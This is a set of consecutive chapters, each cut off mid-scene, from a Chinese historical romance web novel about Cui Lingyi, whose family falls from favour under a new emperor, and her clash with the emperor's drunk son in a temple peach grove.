虽然受儿郎喜欢也没什么不好,就是会给令仪这样内敛轻淡的性子增添些烦扰。
如今也算是能自在一些了。
踩着踏凳,扶着鹿鸣的手下去,令仪觉得浑身都轻松了许多。
但若是阿妹亦或者郑家六娘知晓她如此心态,定会叹着气说她心宽得能赛龙船。
元宁帝入城未曾劫掠百姓,也未曾伤一鸡一犬,到如今的施仁政,吏治清明,一桩桩一件件,皆是明君之像。
坊巷间尽是欢欣雀跃的声音,洛阳城短短数日间便恢复了往日的繁华热闹。
犊车缓行在街道上,不到一刻钟便顺利抵达了赵氏玉坊。
玉坊不似街边茶坊酒肆,人满为患,尤其是这家玉坊就算是在寸土寸金的洛阳城也称得上一句价高,因而里头人倒是不多,只稀稀拉拉四五人,看衣着便是非富即贵。
令仪不算是这家玉坊的常客,只是偶尔来,但这些做权贵生意的玉坊,又怎能不将一些个世家贵人认个脸熟?
尤其还是备受赞誉的崔氏女,尽管如今崔氏处境尴尬,但也不影响玉坊做生意。
“崔娘子来了,快请进。”
老掌柜瞧见踏进来的姝色女郎,忙放下了竹笔,笑脸迎上来。
“赵掌柜近来可安好?”
女郎嗓音温润柔和,如同春日里温凉适宜的溪水,让人心头润泽舒适。
铺子内那仅有的几位客人也不自觉扭头偷偷打量刚进来的令仪。
其中有个本来被迫过来作陪阿母和阿姊的小郎君,也觉此行不亏了。
五兄没有骗他,崔娘子当真是让人见之欢喜呐。
他心里美滋滋的,不时偷瞄一眼那边娴雅端美的女郎,两颊难免晕红。
被人关心身子,赵掌柜心中熨帖,笑呵呵道:“女郎仁厚,挂念我这把老骨头,近来一切都好。”
两人有来有回地说了几句体面话,一切都很融洽,就在令仪打算开口问她的玉件打磨得如何时,外头传来一阵不容忽视得喧哗声,还有人的痛呼惨叫声。
看热闹仿佛是人的天性,那动静一出来,几乎周围的人都纷纷往那头凑了。
能过去地不由自主挪过去瞧,不能过去的也从所在的铺子里探出头,想看看到底发生了什么热闹事。
令仪也好奇地站在门边,往不远处那人头攒动处看去。
面对这等热闹,令仪一向不会凑得太近,以免惹一身麻烦,加上那头她确实也挤不过去,围着的人严严实实的,一看便是大热闹。
“小郎君,前面是发生了何事,怎么这样大的阵仗?”
见铺子里几个客人都心生好奇,赵掌柜拉住了从人群里钻出来的一个少年,眉目慈和地打听着。
那少年
6. 辞官
《退婚后夫家称帝了》全本免费阅读
崔砚是个极有耐心的人,但不代表他不会审时度势。
当元宁帝几乎将洛阳官员们一个萝卜一个坑放好,甚至连尚书台的副手都换了一批,唯独只剩下长官尚书令迟迟没有动静时,崔砚不再等待了。
他渐渐领会了新主的意思,这似乎是在等着自己识趣,主动去请辞呢。
崔砚突然觉得自己此番有些迟钝了,竟耽搁了这样久才看出人家的意思。
是了,去岁崔氏果断站队,扫了凉州颜面,如今人家没趁着那夜挟私报复已经算是极好,又怎能觉得人家还能将尚书台这样的权柄交付于他崔氏呢?
怕是早就从凉州那头带来了良才,到现在都没下诏将自己裁下去,应当是想博一个好名声一直等着他主动来请辞罢了。
他当真是糊涂,如今才想清楚。
神思清明了,崔砚再不迟疑,换了身妥帖些的衣裳,便要套车去皇宫。
走之前,崔砚淡声将此行的目的说与了家人听。
“我此去,为请辞致仕,这大约是天子之意,希望你们有所准备。”
崔砚含笑着说出这句让人听了无力又悲愤的话,瞧着模样倒是一点也不在乎。
然在场除了崔砚还能镇定自若外,通通都或多或少变了脸色。
就连一向想得开的令仪都难免露出了自责的神色,垂眸没了精神,像一朵被晒蔫了的花。
“阿父,是不是如果我当初没有折返回洛阳,我们家便不会如此了?”
《礼记》有云:大夫七十而致仕。
可如今阿父年岁不过四十出头,正是鼎盛时期,便要激流勇退,回归田园乡野,赋闲在家。
不用外头人道一声可惜,令仪都心绪难平了,毕竟当初若是她没有果断折返,嫁到了凉州,成了燕氏五郎的新妇,或许光景就不同了。
越想越觉得这事同自己有关,令仪情绪低落,明明站在光影中,却仿佛被阴霾笼罩着。
不必旁人说话安慰,崔砚瞧见长女萎靡自责,立即摆正态度纠正令仪。
“这不干阿鸾的事,这是我们崔氏的选择,你只是坚决走在了阿父的话上,勿要忧思。”
“要怪,也只能怪我崔氏时运不济了。”
说完,崔砚又扬起笑,安抚家人道:“不过这也是好事,至少我们一家子都安全无虞,还能回老家过悠闲日子,不也挺好。”
一瞬间,一家子仿佛被崔砚的豁达给感染了,愁容都散了大半。
“阿父就穿这身衣裳去,不换朝服?”
崔瑛看着阿父一身随性自在的燕居之服,出言道了句。
崔砚理了理腰间玉饰,好似已然致仕回归乡野田园似的,眉目间满是潇洒自如。
“无须更换,此服正好。”
崔瑛了然,不再过问。
……
皇城,长春宫里,刚下朝的元宁帝燕平可算是歇了口气,大口享用着由妻子亲手烹制的羊肉羹,活像是饿了几日的狼。
“你也慢着点,吃成这样,活像个乞丐。”
皇后卢氏是个雍容和气的妇人,尽管已经万分嫌弃了,语气还是端庄柔和的。
端着一张虽已经开始迟暮但气韵愈发醇厚的脸,卢氏慢条斯理地用着自己的那份羊肉羹,浑身上下萦绕着一股不为任何人所动的沉稳安定。
元宁帝不管不顾,只大口吞咽着肉羹,嬉皮笑脸道:“还不是三娘的手艺好,搏杀了那么久都未曾吃上三娘亲手所烹的羊肉羹,如今你与孩子们总算是都过来了,可不得稀罕死。”
卢皇后瞪了丈夫一眼,到底是没与他争辩。
“再说,都等了这样久,等到崔家来了吗?”
想起另一桩大事,卢皇后忍不住问道。
按理说崔家的事也算是半个政事,但两人都老夫老妻了,加上崔家还有一半算作家事,卢皇后这话还是问得出口的。
元宁帝吃羹的动作一顿,闻言也来了几分气性,气哼哼道:“没呐,苦了我一直等着,没承想崔砚那老小子是个磨蹭的,差点都上火喽!”
元宁帝恨不得将人一纸诏书叫进来了。
但顾及着颜面,他还是耐着性子继续等着了。
看着丈夫愤愤不平的模样,卢皇后觉得有些好笑,正色道:“对崔家,你到底是如何想的,是留还是罢?”
这不仅是卢皇后好奇的,也是如今整个洛阳城都好奇的,都想瞧瞧,新帝会如何处置曾有过龃龉的崔氏。
说到点子上,元宁帝从羊肉羹中抬起了头,拉下了脸道:“哼,去岁他崔氏那样落咱家的面子,他家女儿半路就跑回去了,咱要是笑呵呵留下他这个尚书令,咱的面子往哪搁?”
那股子怨愤好似化作实质从鼻孔里出来,卢皇后看得想笑,便顺着往下问道:“那是要罢了人家,永不启用?”
听到卢皇后这般决绝的话,元宁帝又是一顿,清咳了几声,话音又转,语气也夹杂着几分软意。
“也不一定,崔氏可不是什么名不见经传的小族,这些年来也一向是清流之首,更何况那崔砚为政多年政绩卓然,将我那大兄摆弄得乱七八糟的朝政治理得井井有条,乃是一位不可多得的良臣,咱这新上任,这样的人用着定然顺手啊!”
气归气,元宁帝脑子还是很清醒的,觉得崔氏于他的政权稳固十分有用,话语中显
7. 还愿
《退婚后夫家称帝了》全本免费阅读
与皇宫的气氛不同,自打家主崔砚回来后,崔家的气氛便完全平静了下来,有一种尘埃落定的祥和宁静。
阿父说陛下批准了他的致仕请辞,他准备将朝政的事收收尾便带着全家一起回清河郡。
北迁归家的日期定在了二月底,准备乘船回去,只需半月的水路,便可抵达清河老家。
阿父笑呵呵地说,还能在清河度过季春,到时候携全家一起出去踏青游玩。
全家都被阿父这副豁达悠闲的好心态给传染了,除了本就心系社稷,想要在朝堂做出一番事业的大兄偶尔会有些沮丧,其他人都心境和缓。
这时候,阿父总会劝慰大兄,言身处多高,便做多大的事,无法在都城造福天下,回去造福郡县乡里也是一种功德。
大兄听完很是受教,再没有一句怨言了。
至于义兄,好似比令仪还浑然不在意,也不在意他所依附的崔氏失了权柄,他也因着崔氏失了廷尉的差事,他就跟那个没事人一样,甚至笑容好似比往日更多了些。
虽然平素义兄在她跟前也常挂着温和柔软的笑,但阿父被批准致仕后他好像跟明显了。
令仪也不知道他到底在欢畅些什么。
阿母可惜过后,也欣然接受了,支持阿父做出的决定。
崔家安定后,阿母想起了她那副大凶的卦象,非说是南华寺的佛祖帮崔氏挡了一煞,兴致勃勃地要给佛祖还愿,拉着令仪再度去了积云山。
义兄十分主动地陪同着,倒是比大兄这个亲兄长还要积极。
荀夫人乐呵呵地看着殷勤策马在旁的义子,怎么看怎么满意。
阿鸾不仅迟钝,还当局者迷,但作为局外人的荀夫人看得倒是清清楚楚,觉得今晚有必要将这事与自家郎婿透个气。
……
而此时,皇宫西侧门,一驾看着不起眼的犊车慢吞吞行了出来,犊车后跟着一行身着普通随扈衣裳的护卫,正缓缓驶出皇宫区域。
透过那一簇偶尔被撩起的车帘,可以窥见犊车里是个雍容美丽的妇人。
她像是第一次见这洛阳城一般,满眼新奇地看着外头的景致,觉得处处新鲜。
那含笑着的温柔面庞,一看便知心情很好。
但策马行在犊车旁的年轻儿郎便不一定了。
燕钰意兴阑珊地骑在马上,觉得自己就像个早起被鸟儿抓走的虫子。
“每回阿母要干些无聊的事总要捎上儿子,让儿子无趣一整日,怎的就不找别的兄长们?”
燕钰今日很是心累,阿母也不知是何时生了要去礼佛的心思,一大早就将他拉来作陪。
燕钰太熟悉阿母这等行径了,因为以前在凉州每次有这样的事便会拉着他一起。
可他一点也不想干这等无趣的事,那神佛有什么好拜的,要是神佛真的灵验,怕是他那位前两日被他从襄阳逮回来的大伯早就借神佛的力将他们凉州骑拒之门外了。
然现实还不是截然相反,洛阳城,乃至整个大晋,此刻已是他阿父囊中之物,由此看来这神佛是不可信的。
也不知为何还有那样多的信徒每日去寺庙拜来拜去,连阿母也是这般。
心中腹诽着,嘴里也忍不住嘟嘟囔囔的,哪有半分随父征战的悍勇风采,倒像个跟母亲撒娇埋怨的小儿郎。
卢皇后深知幼子的脾性,但他没有更好的选择。
随着车轱辘转动,卢皇后不急不徐道:“阿母统共就生了你和你大兄两个儿子,你大兄如今正跟在你阿父身后忙得晕头转向,我怎好去抢人?你旁的兄长总归是跟他们阿母亲近,伴着我也算怎么回事,你总归是个闲人,又什么不愿意的。”
“阿母还想着,专门带了你去,到佛祖面前给你这猢狲一样的小子求个好姻缘,听宫人们说南华寺求姻缘很是灵验,定叫我儿得个尽善尽美的新妇。”
大概是想到了未来小儿子姻缘美满的画面,卢皇后笑得灿烂无比。
燕钰更觉不靠谱了,连着哼哼了几声,泼冷水道:“阿母就不该信这些,还记得三年前在凉州时,你拿着我和那崔氏女的八字让一个游方道士算,非说我和崔氏是什么金玉良缘,这下好了,婚都退了,人家也要北迁回清河了,阿母还觉得是金玉良缘吗?”
面对燕钰有理有据的问话,卢皇后反驳不出来,便拿出了些无赖的本事。
“那是那老道学艺不精,诓骗人,如今我们拜的是南华寺的佛祖,又不是一家,说不定人家神通广大,当即给你阿母赐了个小新妇呢!”
燕钰失笑,自不能同阿母继续掰扯,只连连叹了几声气,默认乖顺了下来。
明媚的春光洒在少年郎君的面上,勾画出其面上如山峦起伏一般的轮廓,那双承接了春光的眼眸,更是明亮有神,炯炯有神。
卢皇后看着小儿子这副英美伟岸的姿容,心中更是觉得新妇在望。
南华寺香客众多,且多为女眷,说不定五郎今日还真能碰个心仪的女郎回来。
这样想着,卢皇后心中期盼,阖上了车帘。
而犊车外的燕钰则是对母亲的想法全然不知,随着读犊车路过一处宅子,燕钰想起这是李家的宅子,李茂那小子应当在家无事,便遣人去叫,顺便让其带两壶好酒,趁着阿母拜佛时他能忙里偷闲在南华寺这个被誉为洛阳一大美景的地方小酌两盏。
想想也有几分安逸。
……
春日本就是个适合踏青游玩的时节,随着洛阳城乃至天下逐渐安定,出门游玩赏景的人也逐渐多了起来,积云山上,南华寺山门口,车马络绎不绝。
其中不乏来散心拜佛的世家女眷,看见崔家的车架,大多都是一副欲攀谈又歇了心思的模样。
崔砚为人和善儒雅,进退有度,高风亮节,在洛阳城世家门阀中人缘不错,几乎不与人交恶。
但如今崔氏被圣上冷落,即将举家北迁,想来是深受君王不喜,他们也不好像往昔那般殷切上前攀谈了。
但也不是所有人都是如此审时度势,比如正巧碰上的王家女眷。
令仪远远便看见王家三娘子花枝招展地随着其母亲谢氏下了犊车走过来。
洛阳城内的世家望族,在结亲方面,都心照不宣地遵守着一个规矩,那便是在与自己同样地位的世家门阀内娶妇选婿,绝不与庶族通婚。
王家如今的主母便是谢家女,就像是令仪的阿嫂,也是谢家女儿,两人也是姑侄。
王家家主为九卿之一的太常,与令仪的阿父一直关系尚可,两家加上阿嫂是谢氏女,同王家主母那一层关系,两家平日里也常有来往。
阿父常说王家家主王翼是个清正君子,为人正直忠义,其家眷也秉持着家主的意志,不曾对被圣上冷落的崔氏两幅面孔,见到平日聊得来的荀夫人,笑盈盈地带着她家三娘就过来了。
长辈凑在一处,便是先夸一夸各自的孩子,然后你来我往地在一处闲谈。
长辈在前头交谈,令仪便和王家三娘走在后头,义兄郭暧垫后,与两个女郎保持一个不远不近的距离。
与令仪的素雅灵秀不同,王家三娘子王窈追求花哨艳丽,每每出门,衣着必锦绣绮罗,色彩缤纷,发髻上也热闹的紧,华丽又精致,一身的奢靡贵气,就算是站在千军万马中,也能被人一眼瞧见。
不仅是那身打扮张扬显眼,也因为王三娘子容貌甚佳,长相明艳多姿,再经过一番妆点,更是耀目璀璨。
令仪想起阿母提起王窈时含笑的话语:王家三娘子,是个顶顶扎眼的存在。
令仪刚出神完,想找些话同王窈活跃一下气氛,还没张嘴就让对方抢了先去。
“听闻你家要回清河了,可确定日子?”
王家三娘子是个十分有精神头的女郎,性情也不似令仪内敛沉静,甚至可有说是洛阳城有名的泼辣张扬,跟令仪完全是两种性情。
可能也正是性情的天差地别,两人好似从未在一个圈子里,尤其是洛阳城上下又总喜欢拿她们二人做比,两人只要一同时出现,气氛便会不受控制地变怪,令仪每每察觉,只觉得浑身不自在,想要飞快逃走。
王窈大抵也是如此吧。
王窈有没有因为旁人那点品头论足暗暗跟她较劲令仪是不知道,她只知道她没将这些闲的长草的话语放在心上。
见王窈问起归家的事,令仪也有了话题,笑吟吟道:“阿父说是这个月月底,先将家中的书简晒一晒,以免水上泛潮损坏。”
“这般快?”
王窈神色一怔,蓦地说了句。
令仪拂了拂腰间玉珏,眉眼弯弯道:“也不算快了,左右几日就处理完一些杂事了,不回去在洛阳待着作何?”
这本是个在外人看来很是心酸悲怆的事,但就这么语气轻快地被身侧的女郎柔柔地说出来,王窈说不出是什么感觉。
同时,王窈被对方那抹柔软温润的笑夺走了注意力,心下只觉得洛阳上下拿崔令仪同她作比较倒算是有眼光,这样端美灵秀的好颜色,连她都能看呆了去,
8. 美玉
《退婚后夫家称帝了》全本免费阅读
阿母自有许多话要同佛祖说,令仪倒是没有,但她倒是有另一桩事。
那便是去寺院后山折几支桃花回来。
眼下南华寺桃花开得正盛,加之这大概率会是令仪最后一次来南华寺,她不想错过,想着折几支回去插瓶,用水将养着看几日也好。
“我陪阿鸾一同去吧。”
郭暧见人要离开,心下忍不住想要跟上去,但被令仪劝了回去。
“不过是折个花枝,很快就回来了,再说阿母还在这,义兄替我看顾一下阿母吧。”
郭暧想着也是,也就一小会,令仪又开了口,便嗯了一应下了。
“记得小心。”
下意识叮嘱了一声,令仪觉得好笑,回头嫣然道:“义兄真有意思,那桃林能有什么危险,难不成怕桃树成精把我吃了?”
女郎的轻笑打趣让关心则乱的郭暧说不出个所以然来,干脆抿唇沉默了下来,不理人了。
令仪笑着离去,带着鹿鸣要去桃林。
出大雄宝殿的时候,令仪迎面碰上一位衣着虽简朴但仪态雍容的妇人,她正踏着台阶,也不知是踩着了什么,经过令仪身旁的时候,身子明显一歪,眼看着就要倒。
令仪反应迅速,一把扶住了她,让她免了磕碰的险事。
“夫人当心。”
将人扶住,令仪笑颜温煦,轻声问了句。
妇人身畔慢一步的老媪立即过来扶住了主子的胳膊,一脸担惊受怕地告罪。
“都怪老身失职,竟让夫人差点摔倒。”
这等意外,妇人也不会怪到别人头上,只对着身边的老媪安抚一笑,转头对上令仪。
一眼将令仪看进了眼里,妇人满目便再容不下别的,只有眼前女郎清润如玉的容颜。
当真是个如美玉一般的女郎。
妇人心中想着,眼睛也不舍得移开,直到女郎不急不徐的话语在耳边响起,她才恍然回神,笑答了一句无碍。
心中藏着某些心思,妇人还想同令仪多说几句,好歹将人的来处打探清楚,然没等她开口,就看见女郎扬着清润浅淡的笑向她颔首,越过她离去了。
妇人一时愣怔,也忘了留人,只能看着女郎的背影出神愕然。
“这小女郎,脚程那么快,还没说是哪家女郎便走了,哎……”
妇人自言自语着,那话正好被刚从大雄宝殿中出来的一个妇人听了去,大约是个热心肠的,看着令仪的绰绰倩影,听到这声询问,热心地为其解了惑。
“老姊妹是外地来的吧?竟连崔家大娘子也不识得,这可是我们洛阳城儿郎都争相求娶的女郎,老姊妹是不是也瞧上了?这可不太妙,崔家大娘子,以前是娶不上,现在是娶不得,当真是可惜了。”
后面的话卢皇后自然是不必认真听了,那个崔字一入耳,卢皇后心中五味杂陈,默然不语。
“多谢老姊妹告知了。”
卢皇后空欢喜了一场,眉目沮丧地热心的夫人道了一声谢,但还是忍不住望了一眼远去的女郎身影,不自觉也叹了一声。
“当真是可惜了。”
这正是今日便装出行礼佛的皇后卢氏,想着洛阳初定,卢皇后只是想清清静静地来拜个佛祖,不想大张旗鼓地摆皇后架子,让洛阳百姓被搅扰,便十分低调地过来了。
她家那小子是个耐不住性子的,才到天王殿就和李家二郎不知道野到哪里去了。
方才还有些焦,但知道那是崔家女郎后,卢皇后也没心思着急了。
罢了,她还是老实拜佛祖去吧。
……
主仆两人到了桃林,也是她们去得时间巧了,桃林里人不算多,都是如令仪一般来折枝的女眷。
令仪不喜欢扎在人多的地方,她更喜欢自己寻个清净的地方待着。
念此,她便想着去桃林最南侧那片区域,人少花也丰硕,何况旁边还有一条小溪,折完桃枝还可以在里面净手一番。
甚好。
“鹿鸣,随我去南面。”
鹿鸣玩心重,正揪着一朵桃花把玩,本想将这朵花簪在自家女郎头上,但很快意识到自己有些够不到,遂放弃了。
又听令仪发话,她忙不迭应声,主仆两人往更为僻静的南面去了。
……
桃林南,正对着一处潺潺的清溪,溪边有一棵水缸粗的老柳,一看便知有几十年的岁月了。
在柳荫下,席地坐着两个年轻的郎君,一个稍微注重礼数,还算端庄地跪坐着,另一个便不那么端方了,甚至称得上是一句放浪形骸了。
那是一个十八九的少年郎君,身量颀长英挺,宽肩窄腰十分伟岸勇武,生得倒是俊俏,眉眼深邃秾丽,浓眉大眼,但不知是不是心绪不佳的缘故,他此刻神情冷峻,带着几分不耐烦,嫌弃地看着手里的酒水,觉得浑身都没劲。
在旁人看来,这小郎君俊虽俊,但瞧着却不是很好亲近,甚至有些傲慢,流转的目光仿佛对世上的一切都轻视的倨傲之气。
就算是他按着阿母的意思换上了一身女郎一惯会喜欢的儒雅、俊秀的广袖衣裳,也压不住浑身的冷冽和肃杀之气。
这是久居沙场才会携带的气息,让人望而生畏。
他正用着类似于大儒最为批判的箕踞而坐法,臀部直接触地,一腿前伸着,一腿屈起,两腿微微岔开,脊背倚在树干上,拿着一壶酒,姿态悠闲地饮着。
此刻,他被日头照射在溪水上粼粼的碎光刺到了,眼眸微微眯起,眺望着眼前的明媚春景。
“才到洛阳多久,你就被洛阳的风吹软了骨头,先前还信誓旦旦地说这酒是个烈的,如今饮了这么半天,也没半分意思,真是太让人失望了。”
食之无味,弃之可惜,这便是此刻燕钰对李茂带来的酒的评价。
面对燕钰的埋怨,李茂并不在意,只是玩味地看着他,神秘兮兮道:“待会你便知道了,这酒后劲大着呢,我敢说,就五郎你的酒量,也得栽个跟头。”
燕钰才不信李茂的屁话,只觉得他在夸大其词,入口一丝辛辣也无,后劲又能大到哪里?
像是示威一般,燕钰当着李茂的面又狠狠灌了几大口酒,转眼间又是一壶下肚了。
“那我可得等着李二兄口中的后劲了。”
燕钰嗤笑着,神色漫不经心,一看就是没信,这让李茂拉满了期待值。
这可是他无意间寻到的酒,酒家姓杜,藏在一个深巷子里,自己也是误打误撞碰见的,听邻里说这酒厉害,便买了回来自己先试了。
起初和五郎的反应一样,觉得自己被骗了,哪是说得那般厉害。
然一壶酒尽,他刚一站起来,便静止摔了个脸朝地,脑子晕乎乎地,怕都没能爬起来,还是身怀六甲的妻子听到了动静,一边笑一边遣奴仆将他扶起来。
那一夜,据妻子说,他睡得如死猪一般,一夜都没带动一下的。
他只饮了一壶便如此了,五郎眼看着三壶便下肚了,虽说他五郎酒量好他许多,但李茂对这酒有信心。
然还没等到他亲眼看到燕钰变成醉鬼,李茂突然觉得腹痛,且那感觉越来越强烈,他再耽搁不得,忙跟燕钰留了句话便寻茅房去了。
莫不是早上吃得饭菜有什么不干净的,回去定要好好理理厨房才是。
李茂走后,柳树下便只剩下自饮自酌的燕钰,他抹了一把嘴角溢出来的酒水,刚想起身去捡个石子去溪边打水漂,忽地听到了一阵轻灵又婉转的嗓音,也不知是在唤着什么。
就在他身后,且离得应该不算远。
燕钰来之前是看过周围景致的,身后是一片桃林。
不知怎的,燕钰只觉那道声音异常婉转美妙,像是生了钩子,在他醺然的心间轻轻勾弄,诱得他禁不住回头看去。
原本清净的桃林,满目粉白中,忽地落入了一个青色的窈窕身影。
鬓发如云,腰肢纤细,露出的侧脸温润美丽,只一眼,便让燕钰心田产生了巨大的波动,猝不及防加快了呼吸的节奏,心如浪潮翻涌,不能自已。
燕钰是武人,擅弓马,射术极好,眼力更是不用说。
尽管还隔着些许距离,换做常人怕是看不清那女郎面容,但燕钰看得却是轻轻松松。
他本就不是什么规矩守礼的儿郎,加之,他在不知不觉间早已被手里瞧不上的酒水侵蚀了理智,看着那头青色衣裙的女郎抱着一束桃花枝就要离开,燕钰心脏一缩,不管不顾地扯开了嗓子喊出了。
“抱着桃花的女郎,你且过来一趟!”
燕钰本
9. 狂徒
《退婚后夫家称帝了》全本免费阅读
鹿鸣本意是为了借助崔氏来喝退这个狂徒,但话喊出来才想起如今崔氏已然权柄不在,她一时有些心虚。
再加上女郎摇了摇她的胳膊,暗示她不要说出家门,鹿鸣顿时蔫了下来。
然反观这个狂徒,听见这话,打蛇上棍又凑近了些问道:“我也正想问,你是谁家的女郎,叫什么名儿?”
被这婢女的话一提醒,燕钰想起自己确实是要问人家门的,好回去同阿父阿母交代。
然话问出口,见女郎沉默不言,躲在桃花枝后面,避如蛇蝎的姿态,燕钰有些急了,又走上前几步,想要再与其靠近些。
然这一动作算是引起了主仆二人的恐慌,令仪当机立断,扭头就跑,打算换个方向跑回去,顶多就是多走几步路罢了。
鹿鸣最是了解自家女郎心思,一看女郎动作,也跟着扭头就跑。
但她们不知道眼前面对的是何人,机敏如燕钰,就算是眼下情况不好,也不会容许人从他眼皮子底下逃走。
一看见令仪欲逃走,燕钰心下蹿起一股火气,手脚敏捷地一把将人攥住了。
手腕上的力道强悍而霸道,烫得她心都跟着颤了几下,令仪这腿再不能迈开。
纵然心性再如何沉着冷静,此刻被一个腌臜酒客锁住手腕,甚至接下来还不知道会面对什么,令仪哪里能不慌。
脸色青一阵红一阵,令仪眉目已然染满了怒意,觉得此人不可理喻。
“无礼狂徒,再不放手我便不客气了!”
令仪几乎是颤着声音的,从小到大,她哪里遇上过这种路数,直接莽过来,还逃不开,这让令仪浑身都在发抖。
这样的怒气下,令仪难免红了脸。
但这让燕钰看得更目不转睛了,他也意识到令仪是动怒了,但心底的急切让他压根松不开手,反而攥得更用力了。
“怎么还急眼了,我不过是想问问你是哪家女郎,我好上门寻你,我不是坏人!”
燕钰眉目炽烈地凝着粉白花瓣掩映下的女郎,心中的悸动如潮水一般一浪接着一浪涌来,使得他那颗本就强健有力的心跳得更欢了。
燕钰觉得,大约是阿母的诚心感动了佛祖,便真的给他送来了这样一个合心意的女郎。
燕钰第一次觉得这种神佛鬼道也不是不可取,至少眼下是如此认为的。
令仪本就没打算跟他废话太多,眼下家中即将要北迁回清河,就怕这醉鬼知晓她家门,再上门纠缠,给父母大人带来麻烦,那才是不妙。
况且,哪有坏人会承认自己是坏人的?
对方这话令仪听了只觉得幼稚可笑,压根不予理会。
“放手,郎君不必寻我,你我二人只是萍水相逢,当不得什么。”
令仪继续挣扎着,想要挣脱那只箍着她手腕的铁钳,但毫无成效。
鹿鸣见自家女郎被困,也不管不顾了,怀里的桃花枝一丢,张牙舞爪地便冲着燕钰挠去了。
眼看着鹿鸣这个小丫头凶蛮地要扑过来挠他,燕钰反手一扭,将人拨到了一边。
鹿鸣踉跄了好几步,最终受不住燕钰的力道一屁股跌坐在了地上,神色发懵。
“鹿鸣!”
令仪的怒气已然到了一个节点,心肺中尽是熊熊燃烧的火焰。
一瞬间,令仪的愤怒压过了她一惯的理智,她再也不想管冲动行事有什么后果了,右手的桃花枝倏然间落在地上,令仪用空出来的那只手狠狠地甩了上去。
啪~
那一声极响,连鹿鸣都惊得张大了嘴。
她自小便跟在女郎身边伺候,女郎什么脾性她最是知道,从来都是和气娴静,都不曾与人红过脸,更别提是眼下这般动粗。
鹿鸣一时间惊呆了,傻傻地坐在地上没能起来。
而令仪这边,受了结结实实的一巴掌,燕钰整个人也是愣在了原地,力道也自然而然地卸了大半。
令仪便掐准了这个点,快狠准地将手从对方的钳制中挣脱出来,专门折的桃花枝也不要了,拉着还坐在地上的鹿鸣便提裙狂奔而去。
“快走。”
不需令仪多言,鹿鸣身姿灵活地爬起来,跟着女郎一起狂奔离去。
看着令仪夺路而逃的背影,燕钰从被打中回过了神,当即就要抬步追过去。
但他不仅忘了自己身上酒意未消,也忘了脚下伴着许多静静横着的桃花枝,一脚迈出去,他脑中的眩晕和脚下的桃花枝双管齐下,生生让燕钰摔了个结结实实。
桃枝不小心刮蹭在了燕钰的脸上,带出了一道细小的血痕。
燕钰本就不会将这等小伤放在心上,何况眼下他心心念念的女郎就要跑得没影,他扶着越发眩晕的脑袋,努力挣扎着站起,但很快又倒在了地上。
暴怒又无助,只能趴在地上,透过粉白色的花瓣,看着粉青裙袍的女郎最终消失在他的视野中。
这是燕钰第一次觉得他他窝囊地像条狗。
呼吸急促,口中的粗气直将柔嫩的桃花瓣打的东倒西歪,慢慢凝结出水雾。
再想起方才自己百般嫌弃那酒水的模样,燕钰便觉得自己大意,甚至将拿来这酒的李茂都给气上了。
若是,若是今日没有饮下那酒,想必他便不会如现在一般丢人现眼了吧?
正想着,远处传来了李茂惊愕的声音。
“五郎,你睡在那干嘛?”
那声音中带着几乎要溢出来的惊诧和不可置信,细细听来还有强忍着的破碎笑声。
李茂知道这酒的深浅,于是没敢多饮,此刻意识比起燕钰来说清醒多了,甚至连步伐都未曾乱,一路憋笑着过去,将躺在几株桃花枝里的燕钰拉起来。
“这下知道这酒的厉害了吧?看你还贬不贬。”
李茂得意洋洋地说着,颇为吃力地扶着人高马大的好友,只觉得人醉得彻底。
将人扶起来后,李茂总觉得好友的脸色不对劲,指着燕钰过分红润的左脸,疑惑道:“我知五郎是饮酒上了脸,但怎么两边还不大一样,这边瞧着似乎更红些。”
此番赔了夫人又折兵,原本燕钰的脸色就不大好,如今听了这话,更是臭得厉害。
脸上火辣辣的痛感时刻在提醒他,方才有人狠狠掌掴了他,还是个手无缚鸡之力的女郎,让他平生第一次体会到被打脸是何种滋味。
然意外的是,燕钰竟没有半分恼怒,有的只是满心焦灼。
“别废话了,都怨你那个破酒,坏了我的人生大事
10. 窈窕淑女
《退婚后夫家称帝了》全本免费阅读
面对义兄的殷切,令仪自然是不能接受。
方才自己可是狠狠扇了那狂徒一巴掌,这要是回去八成要被逮住,加上义兄在场,令仪都能想到那时会有多糟糕了。
便当没发生过,赶紧归家才是,反正她还结结实实地扇了人一下,也不算亏。
“不必了义兄,阿母要出来了,我们归家去吧,忙活了半晌我都有些饿了。”
听令仪说饿了,郭暧立即就不再纠结了,相比于桃花,他更在意令仪的感受。
正巧荀夫人也拜完了佛,被温媪扶着走了出来。
“那便归家吧。”
令仪点头应是,又将先前的说辞同荀夫人说了一遍,一行人才说笑着往外走。
另一头,李茂扶着酒气上脸导致两颊晕红的燕钰,深一脚浅一脚地走出林子,到了伽蓝殿附近。
先将身上这副重担卸下,让燕钰坐在石阶上,李茂站起身松了松筋骨,才想着给醉鬼醒酒。
然李茂还是没脸问寺里的小沙弥索要醒酒汤,只是委婉问了小沙弥有没有提神醒脑的东西。
小沙弥年纪虽小,但人不傻,知道是贵人在寺里饮了酒,需要些解酒的东西。
南华寺虽是护国寺,但还没清高自傲到敢凌驾到贵人身上,只要不是什么过分的行径,那些个饮酒的小事,主持便让他们不必去管,也管不了。
“回施主,有的,我这就拿来。”
虽然这样说,但寺里着实没有醒酒汤这种东西,但有提神醒脑的汤茶。
每当寺里僧人晨诵经文困倦无神时,便会饮下一碗,包管什么瞌睡都飞了。
这也代表着,这汤茶味道不算好。
何止是不算好,当燕钰看着小沙弥端着气味辛辣又古怪的汤茶过来后,本来就不算平和的脸色甚至露出了不耐烦。
看着面前黑乎乎的茶汤,燕钰捂着鼻子问道:“这是什么,想用这个毒死我?”
嫌弃之意溢于言表,燕钰身心都十分拒绝。
小沙弥像是见惯了这场面,淡笑回道:“施主玩笑了,这是我们寺内最提神醒脑的茶汤,无论再困倦糊涂,只要这一碗下去,人都能清醒一整天。”
一听有如此奇效,燕钰排斥之色淡了些,有些意动。
他眼下急着找人,若是再这般晕乎乎的不能解酒,怕是真要耽误事了。
想到那粉白花瓣掩映下的姝丽女郎,燕钰再不迟疑,也不用李茂催促,拿过碗便一口气灌了下去。
燕钰做事一向雷厉风行,一碗汤茶也是吞咽飞快,因而等全都下了肚,才感受到这碗茶汤的厉害。
一瞬间,口腔中百味杂陈,辛辣、清凉、甜香、油腥味,铺天盖地地涌到心田,燕钰差点没吐出来。
被汤茶恶心了个满怀,燕钰失态将瓷碗掷到了地上,瓷片摔了个粉碎。
“这是什么,马尿都比它好喝!”
想吐又不好吐,燕钰只得捂着嘴,黑着脸问道。
李茂瞧好友这副模样,忍不住在一旁嘿嘿发笑说着风凉话。
